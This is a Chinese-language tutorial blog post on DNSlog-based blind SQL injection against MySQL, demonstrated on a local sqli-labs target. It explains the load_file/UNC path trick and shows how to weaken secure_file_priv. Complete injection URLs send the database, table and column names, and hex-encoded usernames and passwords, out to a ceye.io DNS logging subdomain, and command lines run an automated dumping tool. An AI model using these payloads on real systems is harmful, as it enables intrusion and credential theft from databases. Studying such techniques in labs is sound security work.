利用dnslog进行sql盲注

一、原理

攻击者向 mysql 数据库提交注入语句 

?id=1' and if((select load_file(concat('\\',(攻击代码),'.xxxxxx.ceye.io\abc'))),1,0)--+

if(x,1,0) 如果x为真,则输出1,假则输出0

load_file() 读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有 FILE 权限。 该文件所有字节可读,但文件内容必须小于 max_allowed_packet,这个函数也可以用来发送 dns 解析请求,并且只能在 Windows 平台发起 load_file 请求

concat() 拼接字段,将查询结果拼接为完整域名

\\ 转义后代表 \,攻击者可以使用 Microsoft Windows 通用命名约定(UNC)的文件和目录路径格式利用扩展存储程序引发 DNS 地址解析,Windows 系统的UNC语法具有通用的形式:

\ComputerNameSharedFolderResource

总结来说,数据库中攻击语句被执行,由 concat 函数将执行结果与 xxxxxx.ceye.io\abc 拼接,构成一个新的域名,而 mysql 中的 select load_file() 可以发起请求,然后这一条带有数据库查询结果的域名就被提交到 dns 服务器进行解析

二、环境

搭建 sqli-labs 支持 php7 的靶场,源码地址 https://github.com/skyblueee/sqli-labs-php7

因为 dnslog 盲注需要使用 load_file() 函数,所以一般得是 root 权限。sql 语句 show variables like '%secure%'; 查看 load_file() 可以读取的磁盘,若不可用,则修改 my.ini 配置文件

当 secure_file_priv 为空,就可以读取磁盘的目录

当 secure_file_priv 为 G:,就可以读取G盘的文件

当 secure_file_priv 为 null,load_file 就不能加载文件

我的环境需要修改 my.ini 文件,添加一行 secure_file_priv="",重启 mysql 服务,再次查询

利用dnslog进行sql盲注利用dnslog进行sql盲注

三、盲注

dnslog 使用 ceye.io 的平台

查当前数据库

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if((select load_file(concat('\\',(select database()),'.打码打码.ceye.io\abc'))),1,0)-- +

查第一个数据表

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if((select load_file(concat('\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.打码打码.ceye.io\abc'))),1,0)-- +

查 users 表的第一个字段

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if((select load_file(concat('\\',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),'.打码打码.ceye.io\abc'))),1,0)-- +

查字段中数据

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if((select load_file(concat('\\',(select username from users limit 0,1),'.打码打码.ceye.io\abc'))),1,0)-- +

用 group_ws() 函数分割,因为在 load_file() 里面不能使用 @ ~ 等符号分割,用 hex() 函数转成十六进制,出来结果了再转回去即可

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if((select load_file(concat('\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.打码打码.ceye.io\abc'))),1,0)-- +

limit m , n;

m:表示开始查询的第一条记录的编号(第一个结果的记录编号是0)

n:表示查询多少条记录

四、工具

自动化 dnslog sql 注入工具 https://github.com/ADOOO/DnslogSqlinj 使用方法和 sqlmap 类似,配置一下 config.py 的 APItoken 和 DNSurl

python2 dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" --dbs
python2 dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security --tables
python2 dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security -T users --columns
python2 dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security -T users -C username,password --dump

参考:

https://www.cnblogs.com/afanti/p/8047530.html

https://blog.csdn.net/weixin_44743506/article/details/100148914

https://www.cnblogs.com/xhds/p/12322839.html